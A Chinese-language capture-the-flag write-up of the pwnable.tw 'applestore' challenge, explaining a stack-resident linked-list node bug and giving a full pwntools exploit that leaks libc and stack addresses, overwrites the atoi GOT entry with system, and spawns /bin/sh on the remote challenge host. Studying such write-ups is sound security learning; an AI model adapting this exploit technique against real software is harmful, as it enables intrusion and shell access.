pwnable.tw applestore 经验总结

做了这题后对栈的理解又加深了一点

程序保护:
在这里插入图片描述
程序逻辑分析:
在这里插入图片描述
1.Apple store
列出apple store 的商品
2.add
通过创建一个size为0x20 的chunk来存放需要购买的商品的数据
具体结构如下:


str addr <----- &chunk
price
next addr
before addr


创建完毕后插入以mycart为头节点的双向链表中

3. Cart
通过遍历链表来输出购物车中的商品的信息, 并返回购物车中的商品的总价格

4.checkout
在这里插入图片描述
同样会遍历链表来输出商品的信息, 不过在商品总价格为7174时会加入iphone 8, 存放iphone 8 的信息没有存放在堆中, 而是存放在栈中, 也就是v2 的地址(ebp - 0x20)
存放信息的结构如下:


str addr <----- ebp - 20h
price
unknown(insert时未赋值
before addr


漏洞点:
在这里插入图片描述
漏洞点也就存在于存放iphone 8 的结构中
add, delete, cart, checkout 这些函数都是从handler函数中调用的, 所以进入这些函数时栈帧中的ebp 都是一样的, 那么只要关注有哪些可控制的变量在ebp - 0x20附近即可控制iphone 8 的结构
在这里插入图片描述通过观察在add, delete, cart函数中都存在处于ebp - 0x20附近的变量, 并且输入的数据长度可以覆盖iphone 8 的结构体

漏洞利用:

1.首先要做的第一步就是泄露libc地址,
在这里插入图片描述
cart函数会输出所有商品的信息, 在此之前先通过控制商品的总价格为7174(6 * 199 + 20 * 199), 可以将指向iphone 8 结构的栈地址插入链表中
之后在输入buf的数据时控制iphone 8 的str addratoi函数got表地址即可泄露出atoi 的libc地址

2.泄露出libc地址后考虑如何调用system函数
观察本题开启的保护, 比较直接的想法是覆写got表

想过通过delete函数控制iphone 8的结构中的next addr为system_addr, before_addr 为got_atoi - 8, 的确可以将got_atoi 里的地址覆盖成system函数的地址, 不过之后往system函数的代码中写就不行了, 代码段不可写, 会触发段保护, 退一万步, 即使可写, system函数的代码也被破坏, 同样无法成功调用system函数

想了挺久, 没办法, 去参考别人的想法, 发现可以通过libc中的environ来泄露栈地址, 泄露了栈地址后通过调试算出偏移可以得到delete函数的ebp地址,delete函数中的ebp指向的是handler函数中的ebp
ebp -> handler_ebp

可以通过改写handler_ebp 为got_atoi + 0x22来完成对got表的覆写
为什么是got_atoi + 0x22?
在这里插入图片描述
从delete函数返回到handler函数中, 还原栈帧的过程中ebp 的值为改写成got_atoi - 0x22, 这样在调用my_read 函数中时可以对got_atoi 进行覆写, 改写了got表后要考虑的就是/bin/sh 的位置, 可以看到atoi 的参数就是刚刚输入的数据, 这时可以输入p32(system) + "|| /bin/sh"或 p32(system) + “;/bin/sh” 来绕过system 调用/bin/sh

EXP:

from pwn import *
import struct

context(arch='i386', os='linux', log_level='debug')
debug = 1
d = 1

if debug == 0:
	p = process("./applestore")
	if d == 1:
		context.terminal = ['tmux', 'splitw', '-h']
		gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10104)

def add(num):
	p.sendlineafter("> ", str(2))
	p.sendlineafter("Device Number> ", str(num))

def delete(ans):
	p.sendlineafter("> ", str(3))
	p.sendlineafter("Item Number> ", ans)

def cart(ans):
	p.sendlineafter("> ", str(4))
	p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

def checkout(ans):
	p.sendlineafter("> ", str(5))
	p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

for i in range(6):
	add(1)

for i in range(20):
	add(2)

checkout('y')

elf = ELF("./applestore")
libc = ELF("as_libc_32.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

got_atoi = elf.got['atoi']
print "got_atoi -> " + hex(got_atoi)

payload = 'ya' + p32(got_atoi) + 'a'*(0xa - 2 - 4) + p32(0)
cart(payload)

p.recvuntil("27: ")
libc_addr = u32(p.recv(4))
libc_base = libc_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']
print "environ_libc -> " + hex(environ_libc)
print "libc_addr -> " + hex(libc_addr)
print "libc_base -> " + hex(libc_base)
print "system -> " + hex(system)

payload = 'ya' + p32(environ_libc) + 'a'*(0xa - 2 - 4) + p32(0)
cart(payload)

p.recvuntil("27: ")
stack = u32(p.recv(4))
print "stack -> " + hex(stack)

raw_input()
payload = '27' + p32(stack) + p32(0x12345678)
payload += p32(got_atoi + 0x22) + p32(stack - 0x100 - 0xc)
#payload += p32(got_atoi + 0x22) + p32(stack - (0xff80fa1c - 0xff80f918) - 8)
delete(payload)

p.sendlineafter("> ", p32(system) + "||/bin/sh")

p.interactive()

结果:
在这里插入图片描述

学到的其它知识点:

atoi 函数只会转化ascii码处于0x30-0x39 的字符

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值